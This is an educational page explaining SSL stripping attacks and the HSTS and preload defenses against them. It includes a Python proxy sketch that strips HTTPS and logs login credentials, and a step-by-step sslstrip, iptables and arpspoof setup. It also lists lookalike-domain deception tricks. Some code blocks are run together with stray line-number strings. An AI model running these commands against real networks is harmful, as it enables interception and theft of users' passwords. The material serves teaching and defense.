Loading content...
Breaking modern encryption is computationally infeasible. TLS 1.3 with proper implementation has no known practical attacks. So how do attackers intercept sensitive communications protected by HTTPS?
The answer is elegant in its simplicity: they don't break the encryption—they prevent it from happening in the first place.
SSL stripping is a Man-in-the-Middle technique that exploits the gap between user intention and browser behavior. When users type "bank.com" into their browser, they typically don't type "https://bank.com"—they let the browser fill in the protocol. If an attacker can intercept this initial connection, they can downgrade the entire session to unencrypted HTTP while maintaining an encrypted connection on their side to the real server.
The result: the user sees what appears to be their bank's website working normally, completely unaware that every keystroke—including passwords, account numbers, and security questions—is being captured in plaintext.
This page covers the mechanics of SSL stripping attacks, how the attack exploits HTTP-to-HTTPS redirects, classic and modern SSL stripping implementations, visual indicators that users miss, and the defense mechanisms (HSTS, preload lists) that protect against this attack.
To understand SSL stripping, we must first understand how users actually reach HTTPS websites. The pattern is almost always the same:
The Typical User Flow:
bank.com in browser's address bar (no protocol specified)http://bank.com (unencrypted!)https://bank.com on port 443The Critical Vulnerability:
Steps 2 and 3 are unencrypted. The very first request the user makes is HTTP, not HTTPS. This initial unencrypted request creates the window for SSL stripping.
Why Browsers Default to HTTP:
Historically, HTTP was the standard and HTTPS was reserved for sensitive pages (login forms, checkout). Browsers defaulted to HTTP when no protocol was specified. While this is changing—modern browsers increasingly default to HTTPS—millions of users still use older browsers, and millions of sites still rely on the redirect pattern.
Beyond Address Bar Entry:
The vulnerability extends beyond what users type:
Many users believe that once they reach a "secure" website, all their traffic is encrypted. They don't realize that the path to that secure website may have been entirely unprotected. SSL stripping exploits this perception gap.
SSL stripping was first presented by security researcher Moxie Marlinspike at Black Hat 2009. The attack leverages the MITM position to intercept and modify the redirect flow:
Attack Flow:
1. Attacker achieves MITM position (ARP, DNS, rogue AP, etc.)
2. Victim requests http://bank.com
3. Attacker intercepts request, forwards to real bank.com
4. Bank responds: "Redirect to https://bank.com"
5. *** KEY STEP *** Attacker DOES NOT forward this redirect
6. Attacker connects to https://bank.com themselves
7. Attacker modifies response, changing all https:// links to http://
8. Attacker sends modified HTTP response to victim
9. Victim remains on HTTP; attacker has HTTPS to bank
What the Attacker Modifies:
The SSL stripping proxy rewrites responses to prevent the victim's browser from ever attempting HTTPS:
| Original (from bank.com) | Modified (sent to victim) |
|---|---|
https://bank.com/login | http://bank.com/login |
<form action="https://..." | <form action="http://..." |
src="https://cdn..." | src="http://cdn..." |
href="https://..." | href="http://..." |
Location: https://... | (Redirect suppressed) |
Additional Modifications:
Sophisticated attackers also:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748
# Simplified SSL stripping proxy logic def handle_request(request): """Handle incoming HTTP request from victim""" # Forward request to real server over HTTPS real_url = request.url.replace("http://", "https://") response = https_request(real_url) # Modify response to strip SSL modified_response = strip_ssl(response) # Store credential captures if "/login" in request.url and request.method == "POST": log_credentials(request.body) return modified_response def strip_ssl(response): """Remove all HTTPS references from response""" content = response.body # Replace all https:// with http:// content = content.replace("https://", "http://") # Modify secure form actions content = re.sub( r'action="http://', 'action="http://', content ) # Strip security headers headers = response.headers headers.pop("Strict-Transport-Security", None) headers.pop("Content-Security-Policy", None) # Remove secure cookie flags if "Set-Cookie" in headers: headers["Set-Cookie"] = headers["Set-Cookie"]\ .replace("; Secure", "")\ .replace("; secure", "") # Prevent caching of stripped pages headers["Cache-Control"] = "no-cache, no-store" return Response(content, headers)In theory, SSL stripping should be detectable. The browser displays clear indicators distinguishing HTTP from HTTPS. In practice, research consistently shows that users fail to notice these differences.
Browser Security Indicators:
| Element | HTTPS (Secure) | HTTP (Stripped) | User Notice Rate |
|---|---|---|---|
| URL Bar | https://bank.com | http://bank.com | < 10% |
| Padlock Icon | Visible green/gray lock | No padlock / warning icon | ~15-20% |
| Browser Bar Color | Green/neutral | Red warning (modern browsers) | ~25% |
| Certificate Info | Click shows cert details | No certificate information | < 5% |
| Mixed Content | No warnings | May show mixed content warning | ~10% |
Why Users Don't Notice:
1. Inattentional Blindness Users focus on the content they're looking for (their account balance, the form they need to fill), not on browser chrome. Security indicators simply don't enter conscious awareness.
2. Change Blindness When the change happens gradually (HTTP page > strips to HTTP > stays HTTP), users don't notice that expected indicators never appeared. They're not actively looking for the padlock.
3. False Expectations Users assume "big companies have security figured out." If the page looks like their bank, they trust it. The visual design of the page provides far more psychological assurance than URL indicators.
4. Indicator Proliferation Browsers have shown so many warnings, prompts, and indicators over the years that users have developed "warning fatigue." Many automatically dismiss security prompts.
5. Mobile Obscurity Mobile browsers often hide the URL bar entirely or show minimal security indicators. The attack is even more effective on mobile.
Studies consistently show that even when researchers explicitly tell users to look for security indicators, detection rates for SSL stripping remain below 50%. In realistic conditions without prompting, detection rates are in single digits. User vigilance is NOT a viable defense.
Attacker Enhancements:
Sophisticated attackers can further reduce detection:
Favicon Replacement: Show a padlock favicon in the tab to create the impression of security:
<link rel="icon" href="padlock-favicon.ico" type="image/x-icon">
Unicode Deception: Use Unicode characters that look like a padlock in the domain:
http://🔒bank.com (Not secure - emoji in domain)
http://xn--bank-83bb.com (Punycode)
Subdomain Tricks:
http://secure.bank.com.attacker.com (Different domain entirely)
http://bank.com.secure-login.com (Attacker's domain)
URL Shortening:
http://bit.ly/xyz123 (Hides actual destination)
These techniques further blur the distinction between legitimate and stripped connections.
sslstrip is the original tool created by Moxie Marlinspike to demonstrate SSL stripping attacks. Understanding its implementation illuminates the attack mechanics.
Tool Architecture:
┌─────────────────┐
HTTP │ │ HTTPS
Victim ──────────▶│ sslstrip │────────────▶ Server
◀──────────────│ (port 8080) │◀────────────
└─────────────────┘
▲
│ iptables redirects port 80 → 8080
│
123456789101112131415161718192021222324252627282930
# Complete sslstrip attack setup # Prerequisites:# 1. MITM position achieved (e.g., via ARP spoofing)# 2. IP forwarding enabled# 3. sslstrip installed # Step 1: Enable IP forwardingecho 1 > /proc/sys/net/ipv4/ip_forward # Step 2: Set up iptables to redirect HTTP to sslstripiptables -t nat -A PREROUTING -p tcp --destination-port 80 \ -j REDIRECT --to-port 8080 # Step 3: Start sslstripsslstrip -l 8080 -w captured.log # sslstrip options:# -l <port> Port to listen on# -w <file> Log file for captured credentials# -f Replace favicon with lock icon# -k Kill session cookies (force re-authentication)# -s Log only secure (HTTPS) traffic # Step 4: Run ARP spoofing (if not already active)arpspoof -i eth0 -t victim_ip gateway_ip &arpspoof -i eth0 -t gateway_ip victim_ip & # Captured credentials appear in captured.log:# [timestamp] POST Data: username=victim&password=secret123sslstrip Operation Flow:
https:// with http://Modern Alternatives:
While sslstrip is the classic tool, modern alternatives offer more features:
| Tool | Features | Active Development |
|---|---|---|
| sslstrip | Original, simple, reliable | No (proof of concept) |
| sslstrip2 | HSTS bypass attempts | Limited |
| Bettercap | Full framework, modern SSL strip | Yes |
| mitmproxy | Scriptable, web UI, flexible | Yes |
| Burp Suite | Professional grade, GUI | Yes (commercial) |
These tools are documented for educational and authorized security testing purposes. SSL stripping against systems you don't own or have authorization to test is illegal in most jurisdictions. Security professionals use these tools during authorized penetration tests to demonstrate risks and validate defenses.
HTTP Strict Transport Security (HSTS) is the primary defense against SSL stripping. It's a security policy mechanism that instructs browsers to ONLY access the site over HTTPS, even if the user (or clicking a link) requests HTTP.
How HSTS Works:
https://bank.com (first visit must be secure)Strict-Transport-Security: max-age=31536000; includeSubDomains
The HSTS Header:
12345678910111213141516171819202122232425
# Basic HSTS HeaderStrict-Transport-Security: max-age=31536000 # With Subdomains (recommended)Strict-Transport-Security: max-age=31536000; includeSubDomains # With Preload (for browser preload list submission)Strict-Transport-Security: max-age=31536000; includeSubDomains; preload # Header Directives:# # max-age=<seconds># - How long browser remembers HTTPS-only policy# - 31536000 = 1 year (recommended minimum)# - 63072000 = 2 years (common for preload)## includeSubDomains# - Apply HSTS to all subdomains# - Required for preload list# - CAUTION: Ensure ALL subdomains support HTTPS first!## preload# - Signals intent to be included in browser preload lists# - Not actually checked by browsers (informational)# - Required for preload list submissionServer Configuration Examples:
Apache:
# Enable HSTS in Apache
Header always set Strict-Transport-Security
"max-age=31536000; includeSubDomains; preload"
Nginx:
# Enable HSTS in Nginx
add_header Strict-Transport-Security
"max-age=31536000; includeSubDomains; preload" always;
Express.js:
// Using Helmet.js
const helmet = require('helmet');
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true
}));
HSTS Protection Against SSL Stripping:
HSTS only protects users AFTER they've visited the site over HTTPS and received the HSTS header. The very first visit is still vulnerable—if an attacker can strip SSL on that first connection, HSTS is never set. This is the 'Trust on First Use' (TOFU) problem.
The first-visit vulnerability is addressed through HSTS Preload Lists—lists of domains that are hardcoded into browsers as HTTPS-only. Users NEVER connect to these sites over HTTP, even on their first visit.
How Preload Lists Work:
max-age of at least 31536000 seconds (1 year)includeSubDomains directivepreload directivePreload List Scope:
Major domains on the HSTS preload list include:
| Domain Type | Examples |
|---|---|
| Financial | PayPal, major banks, trading platforms |
| Technology | Google, Facebook, Twitter, Microsoft |
| Government | Various .gov domains |
| Security | LastPass, 1Password, security vendors |
| TLDs | Entire TLDs like .google, .dev, .app |
Top-Level Domain Preloading:
Some Top-Level Domains (TLDs) are entirely preloaded:
.dev - All .dev domains require HTTPS
.app - All .app domains require HTTPS
.google - All Google domains require HTTPS
.page - All .page domains require HTTPS
Registering a domain on these TLDs automatically includes HSTS protection.
Preload Caveat—Removal is Difficult:
Once on the preload list, removal takes months—you must wait for the removal request to propagate through browser update cycles to all users worldwide. If you break HTTPS on a preloaded domain, users CANNOT access your site at all. Test thoroughly before submitting. The preload list is designed for domains committed to HTTPS permanently.
Checking Preload Status:
# Check if domain is preloaded
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | jq .
# Response for preloaded domain:
{
"status": "preloaded",
"domain": "google.com",
"name": "google.com"
}
# Response for non-preloaded:
{
"status": "unknown"
}
You can also check https://hstspreload.org and enter any domain to see its status and requirements analysis.
As HSTS adoption increases, attackers have developed variants that attempt to bypass these protections. Understanding these helps security teams stay ahead.
sslstrip2 (sslstrip+):
This variant attempts to bypass HSTS by modifying domain names:
Original: https://bank.com/login
Stripped: http://wwww.bank.com/login (extra 'w')
http://bank-login.com/login (different domain)
http://bank.com.attacker.com/login
The attacker registers lookalike domains and redirects traffic there. HSTS doesn't protect because the victim is visiting a different domain (which has no HSTS policy).
LeonardoNve's sslstrip Improvements:
1. Maintain persistent HTTP connections to victim
2. Use DNS rebinding to hijack domains
3. Inject Service Workers for persistent access
4. Target subresources without HSTS
WiFi Captive Portal Bypass:
Captive portals (hotel WiFi login pages) create a special case. Browsers expect HTTP connectivity checks to work, which attackers exploit:
1. User connects to attacker's WiFi
2. Device performs captive portal check (http://...)
3. Attacker presents fake captive portal
4. User enters credentials (thinking it's hotel WiFi)
5. Attacker collects credentials
6. Attacker may then MitM all subsequent traffic
HSTS Bypass via Time Attacks:
HSTS policies expire after max-age seconds. Attackers with long-term access might:
1. Block all HTTPS traffic to target domain
2. Wait for HSTS entry to expire (may be days/weeks)
3. Once expired, HSTS no longer forces HTTPS
4. Perform standard SSL stripping
This is why max-age should be at least 1 year, and preload is preferred for critical domains.
HSTS alone is insufficient. Comprehensive protection requires: HSTS with long max-age + includeSubDomains, preload list inclusion for critical domains, Content Security Policy to prevent mixed content, certificate pinning for mobile apps, secure cookie flags, and user education about phishing domains.
SSL stripping represents a critical attack technique that exploits the gap between user expectations and browser defaults. Let's consolidate the key concepts:
| Defense | Protects Against | Limitations |
|---|---|---|
| HTTPS only | Passive eavesdropping | Doesn't prevent downgrade |
| HSTS | Subsequent visit stripping | First visit vulnerable |
| Preload | First visit stripping | Removal is difficult |
| includeSubDomains | Subdomain-based bypasses | All subdomains must support HTTPS |
| VPN | Local network attacks | Trust shifts to VPN provider |
| Certificate pinning | Certificate forgery | Complex to maintain |
What's Next:
The next page examines ARP Poisoning in depth—the Layer 2 attack technique that's commonly used to achieve MITM position before SSL stripping or other traffic interception attacks.
You now understand SSL stripping attacks comprehensively—how they work, why they're effective, and how HSTS and preload lists defend against them. This knowledge is essential for both offensive security testing and defensive infrastructure design.